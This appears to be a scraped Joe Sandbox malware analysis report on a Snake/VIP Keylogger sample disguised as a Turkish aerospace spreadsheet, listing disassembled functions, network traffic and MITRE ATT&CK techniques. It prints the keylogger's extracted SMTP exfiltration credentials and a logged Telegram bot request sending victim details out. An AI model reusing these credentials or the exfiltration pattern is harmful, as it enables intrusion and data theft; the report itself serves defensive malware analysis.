Associated: 00000000.00000002.1491850236.000000000102F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491850236.0000000001054000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491911513.000000000105E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491930865.0000000001067000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_fa0000_TEKL#U0130F #U0130STE#U011e#U0130 - TUSA#U015e T#U00dcRK HAVACILIK UZA.jbxd

Similarity

API ID: Library$AddressDirectoryFreeLoadProcSystem
String ID: WIN_XPe
API String ID: 582185067-3257408948
Opcode ID: 0576f6870819b6901b27acecfa7d0459addbe2d2a18847922701d8209a490619
Instruction ID: 5c9a39efadd74ec8dafc6329771c6c908db397f8d09cd61e52d19ebb165bec2e
Opcode Fuzzy Hash: 0576f6870819b6901b27acecfa7d0459addbe2d2a18847922701d8209a490619
Instruction Fuzzy Hash: 33F0EDB1801149DFDB25DF92C594BECBBF8BB18701F640089E142A2194DB764F88EF60

Function 01025964 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 15windowCOMMON

Download Yara Rule

APIs

FindWindowW.USER32(Shell_TrayWnd,00000000), ref: 0102596E
PostMessageW.USER32(00000000,00000111,00000197,00000000), ref: 01025981

Part of subcall function 01005244: Sleep.KERNEL32(?,00000000,?,?,?,?,?,?,?,?,?,?), ref: 010052BC

Strings

Shell_TrayWnd, xrefs: 01025967

Memory Dump Source

Source File: 00000000.00000002.1491790033.0000000000FA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00FA0000, based on PE: true

Associated: 00000000.00000002.1491770776.0000000000FA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491850236.000000000102F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491850236.0000000001054000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491911513.000000000105E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491930865.0000000001067000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_fa0000_TEKL#U0130F #U0130STE#U011e#U0130 - TUSA#U015e T#U00dcRK HAVACILIK UZA.jbxd

Similarity

API ID: FindMessagePostSleepWindow
String ID: Shell_TrayWnd
API String ID: 529655941-2988720461
Opcode ID: 17063db6c6b375b2ff699424e1eb5a6292a36656b11ebc7b08156171400e3296
Instruction ID: 56922b281b37a31d82cc4fb86904661d7fed76037d2f6615d19db82c8a0d2fc0
Opcode Fuzzy Hash: 17063db6c6b375b2ff699424e1eb5a6292a36656b11ebc7b08156171400e3296
Instruction Fuzzy Hash: 3DD0C931384312B6E6B4BA719C0EFD77A24AF14B90F100829BBC9AA1C4C9F59800CB54

Function 01025998 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 15windowCOMMON

Download Yara Rule

APIs

FindWindowW.USER32(Shell_TrayWnd,00000000), ref: 010259AE
PostMessageW.USER32(00000000), ref: 010259B5

Part of subcall function 01005244: Sleep.KERNEL32(?,00000000,?,?,?,?,?,?,?,?,?,?), ref: 010052BC

Strings

Shell_TrayWnd, xrefs: 010259A7

Memory Dump Source

Source File: 00000000.00000002.1491790033.0000000000FA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00FA0000, based on PE: true

Associated: 00000000.00000002.1491770776.0000000000FA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491850236.000000000102F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491850236.0000000001054000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491911513.000000000105E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491930865.0000000001067000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_fa0000_TEKL#U0130F #U0130STE#U011e#U0130 - TUSA#U015e T#U00dcRK HAVACILIK UZA.jbxd

Similarity

API ID: FindMessagePostSleepWindow
String ID: Shell_TrayWnd
API String ID: 529655941-2988720461
Opcode ID: 86d8c3961d21362fec569b6e1f8d28829ca90c0f026d6a55d7d4082bfa5618a2
Instruction ID: 1a12597c1c7201f9bccd8c9dcdec4010ad85c1f96ff333ccbbfe9a7e752686f4
Opcode Fuzzy Hash: 86d8c3961d21362fec569b6e1f8d28829ca90c0f026d6a55d7d4082bfa5618a2
Instruction Fuzzy Hash: 3DD0C9313803127AE6B5BA719C0EFD77624AF15B90F100829BBC5AA1C4C9F5A800CB54

Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.189 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.189 HTTP/1.1Host: reallyfreegeoip.org
Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.189 HTTP/1.1Host: reallyfreegeoip.org
Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.189 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.189 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.189 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.189 HTTP/1.1Host: reallyfreegeoip.org
Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.189 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.189 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /bot/sendMessage?chat_id=&text=%20%0D%0A%0D%0APC%20Name:767668%0D%0ADate%20and%20Time:%2017/12/2024%20/%2011:29:42%0D%0ACountry%20Name:%20United%20States%0D%0A%5B%20767668%20Clicked%20on%20the%20File%20If%20you%20see%20nothing%20this's%20mean%20the%20system%20storage's%20empty.%20%5D HTTP/1.1Host: api.telegram.orgConnection: Keep-Alive

Source: Joe Sandbox View	IP Address: 149.154.167.220 149.154.167.220
Source: Joe Sandbox View	IP Address: 104.21.67.152 104.21.67.152
Source: Joe Sandbox View	IP Address: 193.122.130.0 193.122.130.0

Source: Joe Sandbox View	JA3 fingerprint: 54328bd36c14bd82ddaa0c04b25ed9ad
Source: Joe Sandbox View	JA3 fingerprint: 3b5074b1b5d032e5620f69f9f700ff0e

Source: Network traffic	Suricata IDS: 2803274 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UH : 192.168.2.8:49708 -> 193.122.130.0:80
Source: Network traffic	Suricata IDS: 2803274 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UH : 192.168.2.8:49705 -> 193.122.130.0:80
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.8:49721 -> 104.21.67.152:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.8:49709 -> 104.21.67.152:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.8:49707 -> 104.21.67.152:443

Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive

Source: 00000002.00000002.3940377959.0000000002701000.00000004.00000800.00020000.00000000.sdmp	Malware Configuration Extractor: Snake Keylogger {"Exfil Mode": "SMTP", "Username": "royals@htcp.homes", "Password": "7213575aceACE@@", "Host": "mail.htcp.homes", "Port": "587", "Version": "4.4"}
Source: 2.2.RegSvcs.exe.770000.0.unpack	Malware Configuration Extractor: VIP Keylogger {"Exfil Mode": "SMTP", "Email ID": "royals@htcp.homes", "Password": "7213575aceACE@@", "Host": "mail.htcp.homes", "Port": "587", "Version": "4.4"}

Source: unknown	HTTPS traffic detected: 104.21.67.152:443 -> 192.168.2.8:49706 version: TLS 1.0
Source: unknown	HTTPS traffic detected: 192.168.2.8:49706 -> 104.21.67.152:443 version: TLS 1.0
Source: unknown	HTTPS traffic detected: 104.21.67.152:443 -> 192.168.2.8:49709 version: TLS 1.0

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4x nop then jmp 0247F8E9h		2_2_0247F644
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4x nop then jmp 0247FD41h		2_2_0247FA88

Source: unknown	DNS query: name: checkip.dyndns.org
Source: unknown	DNS query: name: reallyfreegeoip.org

Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1

Source: global traffic	DNS traffic detected: DNS query: checkip.dyndns.org
Source: global traffic	DNS traffic detected: DNS query: reallyfreegeoip.org
Source: global traffic	DNS traffic detected: DNS query: api.telegram.org

Description:	Adversaries may obtain and abuse credentials of existing accounts as a means of gaining Initial Access, Persistence, Privilege Escalation, or Defense Evasion. Compromised credentials may be used to bypass access controls placed on various resources on systems within the network and may even be used for persistent access to remote systems and externally available services, such as VPNs, Outlook Web Access, network devices, and remote desktop.Compromised credentials may also grant an adversary increased privilege to specific systems or access to restricted areas of the network. Adversaries may choose not to use malware or tools in conjunction with the legitimate access those credentials provide to make it harder to detect their presence.
Tactics:	Defense Evasion, Initial Access, Persistence, Privilege Escalation
Data Sources:	Logon Session: Logon Session Creation, Logon Session: Logon Session Metadata, User Account: User Account Authentication
Platforms:	Azure AD, Containers, Google Workspace, IaaS, Linux, macOS, Network, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may exploit software vulnerabilities in an attempt to elevate privileges. Exploitation of a software vulnerability occurs when an adversary takes advantage of a programming error in a program, service, or within the operating system software or kernel itself to execute adversary-controlled code. Security constructs such as permission levels will often hinder access to information and use of certain techniques, so adversaries will likely need to perform privilege escalation to include use of software exploitation to circumvent those restrictions.
Tactics:	Privilege Escalation
Data Sources:	Driver: Driver Load, Process: Process Creation
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify access tokens to operate under a different user or system security context to perform actions and bypass access controls. Windows uses access tokens to determine the ownership of a running process. A user can manipulate access tokens to make a running process appear as though it is the child of a different process or belongs to someone other than the user that started the process. When this occurs, the process also takes on the security context associated with the new token.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	Active Directory: Active Directory Object Modification, Command: Command Execution, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, User Account: User Account Metadata
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Driver: Driver Load, Process: Process Creation, Process: Process Termination, Sensor Health: Host Status, Service: Service Metadata, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Containers, IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use methods of capturing user input to obtain credentials or collect information. During normal system usage, users often provide credentials to various different locations, such as login pages/portals or system dialog boxes. Input capture mechanisms may be transparent to the user (e.g. Credential API Hooking ) or rely on deceiving the user into providing input into what they believe to be a genuine service (e.g. Web Portal Capture ).
Tactics:	Collection, Credential Access
Data Sources:	Driver: Driver Load, File: File Modification, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Windows Registry: Windows Registry Key Modification
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of valid accounts, usernames, or email addresses on a system or within a compromised environment. This information can help adversaries determine which accounts exist, which can aid in follow-on behavior such as brute-forcing, spear-phishing attacks, or account takeovers (e.g., Valid Accounts ).
Tactics:	Discovery
Data Sources:	Command: Command Execution, File: File Access, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report TEKL#U0130F #U0130STE#U011e#U0130 - TUSA#U015e T#U00dcRK HAVACILIK UZAY SANAY#U0130#U0130_xlsx.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: VIP Keylogger

Threatname: Snake Keylogger

Yara Signatures

Memory Dumps

Unpacked PEs

Sigma Signatures

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Location Tracking

Compliance

Spreading

Software Vulnerabilities

Networking

Key, Mouse, Clipboard, Microphone and Screen Capturing

System Summary

Data Obfuscation

Persistence and Installation Behavior

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Users\user\AppData\Local\Temp\aut76C8.tmp

C:\Users\user\AppData\Local\Temp\wherefore

Static File Info

General

File Icon

Static PE Info

General

Entrypoint Preview

Rich Headers

Data Directories

Sections

Resources

Windows Analysis Report
TEKL#U0130F #U0130STE#U011e#U0130 - TUSA#U015e T#U00dcRK HAVACILIK UZAY SANAY#U0130#U0130_xlsx.exe

Function 00FA3B3A Relevance: 17.7, APIs: 8, Strings: 2, Instructions: 153
windowCOMMON

Function 00FA49A0 Relevance: 10.7, APIs: 7, Instructions: 223
COMMON

Function 00FA4E89 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 62
COMMON

Function 01009155 Relevance: 19.8, APIs: 13, Instructions: 322
fileCOMMON

Function 00FA3015 Relevance: 19.3, APIs: 7, Strings: 4, Instructions: 73
windowregistryCOMMON

Function 00FA3041 Relevance: 19.3, APIs: 7, Strings: 4, Instructions: 54
windowregistryCOMMON

Function 00FA708B Relevance: 17.7, APIs: 6, Strings: 4, Instructions: 201
registryCOMMON

Function 00FA3A46 Relevance: 17.6, APIs: 7, Strings: 3, Instructions: 71
windowregistryCOMMON

Function 00FA3633 Relevance: 15.9, APIs: 8, Strings: 1, Instructions: 151
windowtimeregistryCOMMON

Function 00FA3766 Relevance: 14.3, APIs: 1, Strings: 7, Instructions: 267
COMMON

Function 01260B88 Relevance: 10.7, APIs: 7, Instructions: 239
fileCOMMON

Function 00FA39D5 Relevance: 10.5, APIs: 4, Strings: 2, Instructions: 44
COMMON

Function 01260948 Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 149
fileCOMMON

Function 00FA407C Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 88
windowCOMMON

Function 00FC541D Relevance: 7.7, APIs: 5, Instructions: 163
COMMONLIBRARYCODE

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to identify the primary user, currently logged in user, set of users that commonly uses a system, or whether a user is actively using the system. They may do this, for example, by retrieving account usernames or by using OS Credential Dumping . The information may be collected in a number of different ways using other Discovery techniques, because user and username details are prevalent throughout a system and include running process ownership, file/directory ownership, session information, and system logs. Adversaries may use the information from [System Owner/User Discovery](https://attack.mitre.org/techniques/T1033) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may look for details about the network configuration and settings, such as IP and/or MAC addresses, of systems they access or through information discovery of remote systems. Several operating system administration utilities exist that can be used to gather this information. Examples include Arp , ipconfig / ifconfig , nbtstat , and route .
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search local system sources, such as file systems and configuration files or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Access, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to take screen captures of the desktop to gather information over the course of an operation. Screen capturing functionality may be included as a feature of a remote access tool used in post-compromise operations. Taking a screenshot is also typically possible through native utilities or API calls, such as `CopyFromScreen` , `xwd` , or `screencapture` .
Tactics:	Collection
Data Sources:	Command: Command Execution, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may target user email to collect sensitive information. Emails may contain sensitive data, including trade secrets or personal information, that can prove valuable to adversaries. Adversaries can collect or forward email from mail servers or clients.
Tactics:	Collection
Data Sources:	Application Log: Application Log Content, Command: Command Execution, File: File Access, Logon Session: Logon Session Creation, Network Traffic: Network Connection Creation
Platforms:	Google Workspace, Linux, macOS, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may collect data stored in the clipboard from users copying information within or between applications.
Tactics:	Collection
Data Sources:	Command: Command Execution, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre